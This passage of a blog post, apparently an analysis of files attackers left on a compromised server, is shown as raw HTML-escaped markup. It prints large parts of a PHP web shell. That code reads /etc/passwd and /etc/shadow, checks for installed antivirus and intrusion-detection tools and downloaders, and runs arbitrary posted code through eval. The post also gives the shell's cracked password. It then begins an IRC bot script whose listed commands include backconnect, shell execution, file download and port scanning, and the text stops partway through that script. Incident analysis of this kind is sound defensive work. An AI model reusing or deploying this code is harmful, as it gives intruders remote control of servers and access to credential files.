#006080&quot;&gt;&#39;,&#39;&lt;/span&gt;bzip&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;bzip2&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;nc&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;locate&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;suidperl&lt;span style=&quot;color: #006080&quot;&gt;&#39;);        $danger = array(&#39;&lt;/span&gt;kav&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;nod32&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;bdcored&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;uvscan&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;sav&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;drwebd&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;clamd&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;rkhunter&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;chkrootkit&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;iptables&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;ipfw&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;tripwire&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;shieldcc&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;portsentry&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;snort&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;ossec&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;lidsadm&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;tcplodg&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;sxid&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;logcheck&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;logwatch&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;sysmask&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;zmbscap&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;sawmill&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;wormscan&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;ninja&lt;span style=&quot;color: #006080&quot;&gt;&#39;);        $downloaders = array(&#39;&lt;/span&gt;wget&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;fetch&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;lynx&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;links&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;curl&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;get&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;lwp-mirror&lt;span style=&quot;color: #006080&quot;&gt;&#39;);        showSecParam(&#39;&lt;/span&gt;Readable /etc/passwd&lt;span style=&quot;color: #006080&quot;&gt;&#39;, @is_readable(&#39;&lt;/span&gt;/etc/passwd&lt;span style=&quot;color: #006080&quot;&gt;&#39;)?&quot;yes &amp;lt;a href=&#39;&lt;/span&gt;#&lt;span style=&quot;color: #006080&quot;&gt;&#39; onclick=&#39;&lt;/span&gt;g(\&lt;span style=&quot;color: #006080&quot;&gt;&quot;FilesTools\&quot;, \&quot;/etc/\&quot;, \&quot;passwd\&quot;)&#39;&amp;gt;[view]&amp;lt;/a&amp;gt;&quot;&lt;/span&gt;:&lt;span style=&quot;color: #006080&quot;&gt;&#39;no&#39;&lt;/span&gt;);        showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Readable /etc/shadow&#39;&lt;/span&gt;, @is_readable(&lt;span style=&quot;color: #006080&quot;&gt;&#39;/etc/shadow&#39;&lt;/span&gt;)?&lt;span style=&quot;color: #006080&quot;&gt;&quot;yes &amp;lt;a href=&#39;#&#39; onclick=&#39;g(\&quot;FilesTools\&quot;, \&quot;etc\&quot;, \&quot;shadow\&quot;)&#39;&amp;gt;[view]&amp;lt;/a&amp;gt;&quot;&lt;/span&gt;:&lt;span style=&quot;color: #006080&quot;&gt;&#39;no&#39;&lt;/span&gt;);        showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;OS version&#39;&lt;/span&gt;, @file_get_contents(&lt;span style=&quot;color: #006080&quot;&gt;&#39;/proc/version&#39;&lt;/span&gt;));        showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Distr name&#39;&lt;/span&gt;, @file_get_contents(&lt;span style=&quot;color: #006080&quot;&gt;&#39;/etc/issue.net&#39;&lt;/span&gt;));        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!$GLOBALS[&lt;span style=&quot;color: #006080&quot;&gt;&#39;safe_mode&#39;&lt;/span&gt;]) {            &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;br&amp;gt;&#39;&lt;/span&gt;;            $temp=&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;();            &lt;span style=&quot;color: #0000ff&quot;&gt;foreach&lt;/span&gt; ($userful &lt;span style=&quot;color: #0000ff&quot;&gt;as&lt;/span&gt; $item)                &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(which($item)){$temp[]=$item;}            showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Userful&#39;&lt;/span&gt;, implode(&lt;span style=&quot;color: #006080&quot;&gt;&#39;, &#39;&lt;/span&gt;,$temp));            $temp=&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;();            &lt;span style=&quot;color: #0000ff&quot;&gt;foreach&lt;/span&gt; ($danger &lt;span style=&quot;color: #0000ff&quot;&gt;as&lt;/span&gt; $item)                &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(which($item)){$temp[]=$item;}            showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Danger&#39;&lt;/span&gt;, implode(&lt;span style=&quot;color: #006080&quot;&gt;&#39;, &#39;&lt;/span&gt;,$temp));            $temp=&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;();            &lt;span style=&quot;color: #0000ff&quot;&gt;foreach&lt;/span&gt; ($downloaders &lt;span style=&quot;color: #0000ff&quot;&gt;as&lt;/span&gt; $item)                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(which($item)){$temp[]=$item;}            showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Downloaders&#39;&lt;/span&gt;, implode(&lt;span style=&quot;color: #006080&quot;&gt;&#39;, &#39;&lt;/span&gt;,$temp));            &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;br/&amp;gt;&#39;&lt;/span&gt;;            showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Hosts&#39;&lt;/span&gt;, @file_get_contents(&lt;span style=&quot;color: #006080&quot;&gt;&#39;/etc/hosts&#39;&lt;/span&gt;));            showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;HDD space&#39;&lt;/span&gt;, ex(&lt;span style=&quot;color: #006080&quot;&gt;&#39;df -h&#39;&lt;/span&gt;));            showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Mount options&#39;&lt;/span&gt;, @file_get_contents(&lt;span style=&quot;color: #006080&quot;&gt;&#39;/etc/fstab&#39;&lt;/span&gt;));        }    } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {        showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;OS Version&#39;&lt;/span&gt;,ex(&lt;span style=&quot;color: #006080&quot;&gt;&#39;ver&#39;&lt;/span&gt;));         showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Account Settings&#39;&lt;/span&gt;,ex(&lt;span style=&quot;color: #006080&quot;&gt;&#39;net accounts&#39;&lt;/span&gt;));         showSecParam(&lt;span style=&quot;color: #006080&quot;&gt;&#39;User Accounts&#39;&lt;/span&gt;,ex(&lt;span style=&quot;color: #006080&quot;&gt;&#39;net user&#39;&lt;/span&gt;));    }    &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;/div&amp;gt;&#39;&lt;/span&gt;;    printFooter();}&lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; actionPhp() {    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( &lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;ajax&#39;&lt;/span&gt;]) ) {        $_SESSION[md5($_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_HOST&#39;&lt;/span&gt;]).&lt;span style=&quot;color: #006080&quot;&gt;&#39;ajax&#39;&lt;/span&gt;] = &lt;span style=&quot;color: #0000ff&quot;&gt;true&lt;/span&gt;;        ob_start();        &lt;span style=&quot;color: #0000ff&quot;&gt;eval&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;p1&#39;&lt;/span&gt;]);        $temp = &lt;span style=&quot;color: #006080&quot;&gt;&quot;document.getElementById(&#39;PhpOutput&#39;).style.display=&#39;&#39;;document.getElementById(&#39;PhpOutput&#39;).innerHTML=&#39;&quot;&lt;/span&gt;.addcslashes(htmlspecialchars(ob_get_clean()),&lt;span style=&quot;color: #006080&quot;&gt;&quot;\n\r\t\\&#39;\0&quot;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&quot;&#39;;\n&quot;&lt;/span&gt;;        &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; strlen($temp), &lt;span style=&quot;color: #006080&quot;&gt;&quot;\n&quot;&lt;/span&gt;, $temp;        &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;     }    printHeader();    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( &lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;p2&#39;&lt;/span&gt;]) &amp;amp;&amp;amp; ($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;p2&#39;&lt;/span&gt;] == &lt;span style=&quot;color: #006080&quot;&gt;&#39;info&#39;&lt;/span&gt;) ) {        &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;h1&amp;gt;PHP info&amp;lt;/h1&amp;gt;&amp;lt;div class=content&amp;gt;&#39;&lt;/span&gt;;        ob_start();        phpinfo();        $tmp = ob_get_clean();        $tmp = preg_replace(&lt;span style=&quot;color: #006080&quot;&gt;&#39;!body {.*}!msiU&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;,$tmp);        $tmp = preg_replace(&lt;span style=&quot;color: #006080&quot;&gt;&#39;!a:\w+ {.*}!msiU&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;,$tmp);        $tmp = preg_replace(&lt;span style=&quot;color: #006080&quot;&gt;&#39;!h1!msiU&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;h2&#39;&lt;/span&gt;,$tmp);        $tmp = preg_replace(&lt;span style=&quot;color: #006080&quot;&gt;&#39;!td, th {(.*)}!msiU&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;.e, .v, .h, .h th {$1}&#39;&lt;/span&gt;,$tmp);        $tmp = preg_replace(&lt;span style=&quot;color: #006080&quot;&gt;&#39;!body, td, th, h2, h2 {.*}!msiU&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;,$tmp);        &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; $tmp;        &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;&#39;&lt;/span&gt;;    }    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;empty&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;ajax&#39;&lt;/span&gt;])&amp;amp;&amp;amp;!&lt;span style=&quot;color: #0000ff&quot;&gt;empty&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;p1&#39;&lt;/span&gt;]))        $_SESSION[md5($_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_HOST&#39;&lt;/span&gt;]).&lt;span style=&quot;color: #006080&quot;&gt;&#39;ajax&#39;&lt;/span&gt;] = &lt;span style=&quot;color: #0000ff&quot;&gt;false&lt;/span&gt;;        &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;h1&amp;gt;Execution PHP-code&amp;lt;/h1&amp;gt;&amp;lt;div class=content&amp;gt;&amp;lt;form name=pf method=post onsubmit=&quot;if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\&#39;\&#39;);}return false;&quot;&amp;gt;&amp;lt;textarea name=code class=bigarea id=PhpCode&amp;gt;&#39;&lt;/span&gt;.(!&lt;span style=&quot;color: #0000ff&quot;&gt;empty&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;p1&#39;&lt;/span&gt;])?htmlspecialchars($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;p1&#39;&lt;/span&gt;]):&lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;).&#39;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Looking at the file from the web browser we notice the request for the password, &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJhATjPyctFQDZ_ok0gNoL3u3NF2HSaoAjKBE-Exy67qoymQ96zw4XA4uam5F3Z7H-xVrBUalsOyxdDDKnVPixq4J618S9inOafedaRMSmhl0H0SY3i4d_ehrWE3oo90l81H2mrFOuUHjH/s1600-h/password%252520protected%25255B5%25255D.jpg&quot;&gt;&lt;img style=&quot;display: block; float: none; margin-left: auto; margin-right: auto&quot; title=&quot;password protected&quot; alt=&quot;password protected&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNf2OtTq5Rom0cL8HT1U7xZLVXFHKvyG72PjPRVK_ja0t2Ev7yZ6GS3F8uP1tMBQwljOme3om9sM4BaF9K3pK2D_B4PnNw2xcbTBUveaD6jv0cz6Tc73mSIr2LtfDN7CJshMvXKiEDefDP/?imgmax=800&quot; width=&quot;240&quot; height=&quot;192&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Easy to find out with a google search, 161498ff7b638f5e5c0d5e32fab5470b is “syurga”, and we have another php web shell installation. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiawMOGSMw2AiYD0kvrdbAJFMNmv-ulBuV1I4H9tQBWesPDii66w89RMKnJp66XSrS1Lxv17Tk9_5t1l9bIIiXampovj1BJtJ0dgN7ClJKoP_87wq-x2qghIsZc7_KP4TYSAPHwnFnLC8rB/s1600-h/another%252520shell%25255B3%25255D.jpg&quot;&gt;&lt;img style=&quot;display: block; float: none; margin-left: auto; margin-right: auto&quot; title=&quot;another shell&quot; alt=&quot;another shell&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb77yoNKNCdhlGET97eVPztdUVTY6CtmUZdZeKa2UlttVV3f4rWGF-3PHWADkg26AaKfGJdCvQzQwJ21PPsIZRbBXA5RBoPN7FcaC2WyEustE5cSguBfs2EV1EMVGHoXsTete24kPtLcZ0/?imgmax=800&quot; width=&quot;240&quot; height=&quot;192&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Finally another file kindly uploaded from the attackers, &lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &amp;lt;?php&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt; * @PHP BotComel.Private v2 Created by Ahlspiess&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt; * @Info: Written under PHP 5.2.6 Windows Vista SP2&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt; */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt; * @List CMD&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !bcon = backconnect&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !http = request web&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !info = print info&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !restart = reconnect bot&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !pwd = print current working dir&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !cd = change dir&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !raw = exec mirc cmd&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !exec = exec shell cmd&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !download = download file&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !quit = close bot connection&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !pscan = scan open port&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;    !mail = send an email&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; 